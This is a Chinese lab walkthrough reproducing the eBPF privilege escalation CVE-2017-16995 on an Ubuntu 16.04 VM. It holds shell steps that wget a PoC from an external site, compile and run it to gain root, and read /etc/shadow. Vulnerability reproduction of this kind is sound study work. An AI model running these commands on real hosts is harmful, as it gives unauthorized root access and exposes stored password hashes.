[漏洞復現] CVE-2017-16995 Ubuntu16.04漏洞復現
Ubuntu最新版本16.04存在本地提權漏洞,該漏洞存在於Linux內核帶有的eBPF bpf(2)系統調用中,當用戶提供惡意BPF程序使eBPF驗證器模塊產生計算錯誤,導致任意內存讀寫問題。
攻擊者(普通用戶)可以利用該漏洞進行提權攻擊,獲取root權限,危害極大。該漏洞編號是CVE-2017-16995,在之前的一些老版本已經修復了,但是在最新的Ubuntu版本中,又出現了這個漏洞,並且Twitter爆出了漏洞利用代碼……
目前,主要是Debian和Ubuntu版本受影響,Redhat和CentOS不受影響。
影響版本:
Linux內核:Linux Kernel Version 4.14 ~ 4.4
Ubuntu版本:16.04.01~ 16.04.04
2、漏洞復現環境下載
Ubuntu16.04下載:http://old-releases.ubuntu.com/releases/16.04.0/
註:這裏我下載的版本是 ubuntu-16.04.3-server-amd64.iso
POC代碼下載:http://cyseclabs.com/pub/upstream44.c
註:為了節省大家實驗時間,本實驗所有環境全部打包到了以下鏈接=>
https://pan.baidu.com/s/1rtrSb2R_2SLg8VRRwrYynA 密碼:vowq
3、實驗流程
① 下載Ubuntu 16.04 iso鏡像:http://old-releases.ubuntu.com/releases/16.04.0/
下載列表裏面有很多版本,考慮到虛擬機體積大小,這裏不適用desktop版本,直接使用server版本。點擊ubuntu-16.04.3-server-amd64.iso可以直接網頁下載,若速度較慢,可用列表中的torrent文件,用迅雷等軟件下載。
② 使用VMware制作虛擬機,設置普通用戶賬號密碼(賬號: pinginglab 密碼:pinginglab)
註:這裏的VMware是MacOS下面的VMware Fushion,跟Windows下面的Vmware Workstation使用流程類似。
采用vmware快捷安裝,設置賬號密碼:
點擊“繼續”,即可創建虛擬機。
啟動虛擬機,這裏需要稍等片刻:
③ 使用賬號密碼(pinginglab/pinginglab)登錄虛擬機,進行漏洞復現
使用 id
查看本地用戶組權限:
使用cat /proc/version
查看Linux內核版本 :
使用cat /etc/shadow
查看賬號密碼(由於是普通賬號,沒有權限查看)
使用wget http://cyseclabs.com/pub/upstream44.c
下載POC代碼
使用sudo apt install gcc
下載並安裝gcc編譯器
使用gcc對upstream44.c進行編譯,給予執行權限: gcc -o test upstream44.c
chmod +x test
ll
執行test文件,實現本地提權: ./test
id
cat /etc/shadow
從實驗效果可以看到,此時用戶從“pinginglab”,切換到“root”,獲取到最高權限,並且可以查看本地賬號密碼。
本漏洞復現實驗完成。
[漏洞復現] CVE-2017-16995 Ubuntu16.04漏洞復現